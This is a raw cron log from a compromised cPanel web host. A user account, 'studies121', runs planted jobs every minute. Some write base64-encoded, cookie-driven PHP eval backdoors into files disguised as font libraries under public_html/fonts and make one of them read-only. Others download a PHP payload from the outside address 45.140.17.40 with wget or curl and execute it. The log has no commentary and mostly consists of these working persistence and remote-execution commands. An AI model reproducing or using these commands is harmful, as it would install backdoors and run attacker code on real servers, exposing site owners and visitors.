Sep 21 13:07:01 ip-184-168-122-23 CROND[8456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:07:01 ip-184-168-122-23 CROND[8457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:08:01 ip-184-168-122-23 CROND[8579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:08:01 ip-184-168-122-23 CROND[8580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:08:01 ip-184-168-122-23 CROND[8581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:08:01 ip-184-168-122-23 CROND[8583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:08:01 ip-184-168-122-23 CROND[8582]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:09:01 ip-184-168-122-23 CROND[8760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:09:01 ip-184-168-122-23 CROND[8761]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 13:09:01 ip-184-168-122-23 CROND[8764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:09:01 ip-184-168-122-23 CROND[8766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:09:01 ip-184-168-122-23 CROND[8763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:10:02 ip-184-168-122-23 CROND[8951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:10:02 ip-184-168-122-23 CROND[8958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:10:02 ip-184-168-122-23 CROND[8959]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 13:10:02 ip-184-168-122-23 CROND[8954]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 13:10:02 ip-184-168-122-23 CROND[8955]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:10:02 ip-184-168-122-23 CROND[8956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:10:02 ip-184-168-122-23 CROND[8957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:10:02 ip-184-168-122-23 CROND[8960]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 13:11:01 ip-184-168-122-23 CROND[9142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:11:01 ip-184-168-122-23 CROND[9143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:11:01 ip-184-168-122-23 CROND[9145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:11:01 ip-184-168-122-23 CROND[9147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:12:01 ip-184-168-122-23 CROND[9254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:12:01 ip-184-168-122-23 CROND[9256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:12:01 ip-184-168-122-23 CROND[9259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:12:01 ip-184-168-122-23 CROND[9257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:12:01 ip-184-168-122-23 CROND[9258]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:13:01 ip-184-168-122-23 CROND[9400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:13:01 ip-184-168-122-23 CROND[9403]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:13:01 ip-184-168-122-23 CROND[9402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:13:01 ip-184-168-122-23 CROND[9406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:14:01 ip-184-168-122-23 CROND[9675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:14:01 ip-184-168-122-23 CROND[9679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:14:01 ip-184-168-122-23 CROND[9677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:14:01 ip-184-168-122-23 CROND[9678]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:14:01 ip-184-168-122-23 CROND[9681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:15:01 ip-184-168-122-23 CROND[10073]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 13:15:01 ip-184-168-122-23 CROND[10074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:15:01 ip-184-168-122-23 CROND[10076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:15:01 ip-184-168-122-23 CROND[10079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:15:01 ip-184-168-122-23 CROND[10080]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 13:15:01 ip-184-168-122-23 CROND[10081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:16:01 ip-184-168-122-23 CROND[10212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:16:01 ip-184-168-122-23 CROND[10213]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:16:01 ip-184-168-122-23 CROND[10216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:16:01 ip-184-168-122-23 CROND[10217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:16:01 ip-184-168-122-23 CROND[10218]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 13:16:01 ip-184-168-122-23 CROND[10219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:17:01 ip-184-168-122-23 CROND[10352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:17:01 ip-184-168-122-23 CROND[10353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:17:01 ip-184-168-122-23 CROND[10354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:17:01 ip-184-168-122-23 CROND[10355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:18:01 ip-184-168-122-23 CROND[10472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:18:01 ip-184-168-122-23 CROND[10474]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:18:01 ip-184-168-122-23 CROND[10475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:18:01 ip-184-168-122-23 CROND[10477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:18:01 ip-184-168-122-23 CROND[10476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:19:01 ip-184-168-122-23 CROND[10620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:19:01 ip-184-168-122-23 CROND[10621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:19:01 ip-184-168-122-23 CROND[10623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:19:01 ip-184-168-122-23 CROND[10622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:20:01 ip-184-168-122-23 CROND[10770]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:20:01 ip-184-168-122-23 CROND[10772]: (root) CMD (/usr/lib64/sa/sa1 1 1)
